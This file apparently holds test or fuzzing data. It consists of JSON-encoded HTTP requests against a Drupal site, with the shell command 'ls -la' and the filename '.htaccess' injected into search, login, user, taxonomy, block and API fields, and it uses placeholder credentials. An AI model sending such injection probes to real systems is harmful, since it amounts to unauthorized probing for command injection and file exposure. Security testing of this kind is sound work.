{"method": "GET", "target": "/fr/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=ls+-la&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"ls -la\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=ls+-la&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=ls+-la&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-fCKIAUgqp-X5fvv-nb6RTL0prPHa9QTUV4pR5LWsQaM&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-OhQW68GDpyCKebeLaSsM5khaGcE9MPawn_162h_BrvQ&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-_ZMo82uMFFnev4u0soP_Mnb7N26boS2YTeQYrKhnVk4&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=ls+-la&body%5B0%5D%5Bvalue%5D=%3Cp%3Els+-la%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-otu04bFn0cPoVh6O5Cmmz4UIldaRE65QvUT_bcwd7Nk&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=ls+-la&body%5B0%5D%5Bvalue%5D=%3Cp%3Els+-la%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-QPu6cQJNnWjY9FG_kdwApvRBM9O4CZtn3_D6IEt-YYs&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-8bBu9xb8ywvW4JS_f8YTClqxyYXplGObpwzVt6q-rkQ&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=powershell%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-ky_KD9zOO4hf2S4M5gm_ocUrrIHiNC33Kg38Rq2EMy8&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=ls+-la&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=ls+-la&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-4-VtoJyDzgEMcVhGiG9EGrEMPZlIEZhDZU1-ngjb8uQ&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=ls--la%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=ls+-la&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"ls -la\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"ls -la\", \"description\": {\"value\": \"ls -la\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"ls -la\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"ls -la\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"ls -la\"}}}"}
{"method": "GET", "target": "/user/password?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=.htaccess&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
